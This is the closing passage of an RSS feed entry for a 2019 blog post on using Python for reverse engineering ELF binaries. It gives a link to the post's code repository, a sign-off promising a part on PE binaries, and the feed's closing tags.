1098<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1099
1100<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1101]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1102</rss>